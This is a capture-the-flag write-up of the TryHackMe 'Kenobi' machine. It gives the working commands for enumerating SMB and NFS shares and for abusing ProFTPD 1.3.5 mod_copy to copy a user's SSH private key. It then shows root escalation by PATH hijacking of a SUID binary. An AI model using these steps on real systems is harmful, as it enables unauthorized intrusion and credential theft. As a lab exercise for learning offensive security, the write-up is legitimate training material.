Kenobi

These notes are from a challenge I did @tryhackme called Kenobi.

Task 1 Scan

Scan with nmap to see what (and how many) ports are open: nmap -sC -sV 10.10.153.226

Nmap output

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 15:14 EDT
Nmap scan report for 10.10.153.226
Host is up (0.019s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35315/tcp6  mountd
|   100005  1,2,3      45048/udp   mountd
|   100005  1,2,3      51357/udp6  mountd
|   100005  1,2,3      58477/tcp   mountd
|   100021  1,3,4      34033/udp   nlockmgr
|   100021  1,3,4      35441/tcp6  nlockmgr
|   100021  1,3,4      41257/tcp   nlockmgr
|   100021  1,3,4      49375/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2021-09-09T14:14:19-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-09-09T19:14:19
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

Task 2 Enumerating Samba for shares

Let's enumerate the SMB shares: nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.153.226

Nmap output

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 15:21 EDT
Nmap scan report for 10.10.153.226
Host is up (0.018s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.153.226\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.153.226\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.153.226\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 3.15 seconds

Let's connect with smbclient as anonymous without a password: smbclient //10.10.153.226/anonymous

smbclient output

smb: \> dir
.                                   D        0  Wed Sep  4 06:49:09 2019
..                                  D        0  Wed Sep  4 06:56:07 2019
log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6877100 blocks available
smb: \> more log.txt

getting file \log.txt of size 12237 as /tmp/smbmore.DVyJsF (159.3 KiloBytes/sec) (average 161.5 KiloBytes/sec)
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

# Umask 022 is a good standard umask to prevent new dirs and files

You can recursively download the SMB share too. Submit the username and password as nothing.

smbget -R smb://10.10.153.226/anonymous

smbget output

Password for [fab1] connecting to //anonymous/10.10.153.226:
Using workgroup WORKGROUP, user fab1
smb://10.10.153.226/anonymous/log.txt
Downloaded 11.95kB in 7 seconds

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.153.226

nmap output

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 15:29 EDT
Nmap scan report for 10.10.153.226
Host is up (0.018s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds

Task 3 - Gain initial access with ProFtpd

To get the version of ProFtpd we can use netcat to connect to the machine on the FTP port:

nc 10.10.153.226 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.153.226]

Let us look for verunablities for this version: searchsploit proftpd 1.3.5

nmap output

-------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title                                                                                    |  Path
-------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                         | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                               | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                           | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                         | linux/remote/36742.txt
-------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Let's exploit ProFtpd's mod_copy module and copy Kenobi's private key using SITE CPFR and SITE CPTO commands:

nc 10.10.153.226 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.153.226]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

Lets mount the /var/tmp directory to our machine

sudo mkdir /mnt/kenobiNFS
sudo mount 10.10.153.226:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
cat id_rsa

id_rsa content

Change access rights of id_rsa and login as kenobi to read user.txt:

chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.153.226
cat /home/kenobi/user.txt

Task 4 Privilege Escalation with Path Variable Manipulation

To search the a system for SUID bits run the following: find / -perm -u=s -type f 2>/dev/null

SUID bits

/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

Running/usr/bin/menu shows us the binary is running without a full path:

1. status check
2. kernel version
3. ifconfig

We can exploit this by replacing commands e.g. sh instead of curl and then update the $PATH variable:

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

We can now run/usr/bin/menu again and when selecting #1 we execute sh (instead of curl). We are now rood (runid) and can access the final flag: /cat /root/root.txt.